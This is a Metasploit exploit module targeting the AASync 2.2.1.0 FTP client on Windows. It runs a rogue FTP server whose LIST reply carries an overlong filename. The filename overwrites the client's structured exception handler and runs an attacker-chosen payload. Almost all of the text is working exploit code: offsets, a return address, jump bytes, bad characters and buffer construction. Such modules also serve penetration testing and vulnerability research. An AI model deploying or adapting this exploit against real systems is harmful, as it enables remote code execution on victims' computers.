AASync 2.2.1.0 (Windows x86) – Remote Stack Buffer Overflow ‘LIST’ (Metasploit)
## # $Id: aasync_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::FtpServer def initialize(info = {}) super(update_info(info, 'Name' => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)', 'Description' => %q{ This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when processing the response on a LIST command. During the overflow, a structured exception handler record gets overwritten. }, 'Author' => [ 'corelanc0d3r', #found bug and wrote the exploit ], 'License' => MSF_LICENSE, 'Version' => "$Revision: 11039 $", 'References' => [ [ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a", }, 'Platform' => 'win', 'Targets' => [ [ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674 } ], # ppr [pthreadgc2.dll] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 12 2010', 'DefaultTarget' => 0)) end #--------------------------------------------------------------------------------- def setup super end def on_client_unknown_command(c,cmd,arg) c.put("200 OK\r\n") end def on_client_command_list(c,arg) conn = establish_data_connection(c) if(not conn) c.put("425 Can't build data connection\r\n") return end print_status(" - Data connection set up") code = 150 c.put("#{code} Here comes the directory listing.\r\n") code = 226 c.put("#{code} Directory send ok.\r\n") offset_to_nseh = target['Offset'] filename = "admin passwords.txt" padding = " " * (offset_to_nseh-filename.length) nseh = "\xeb\x0c\x41\x41" seh = [target.ret].pack('V') #\x74\x16 = jump nops = "A" * 30 junk2 = "A" * 5000 #dual offsets to seh buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2 print_status(" - Sending directory list via data connection") dirlist = "-rw-rw-r-- 1 1176 1176 1060 Aug 16 22:22 #{buffer}\r\n" conn.put(dirlist) conn.close print_status(" - Payload sent") return end end |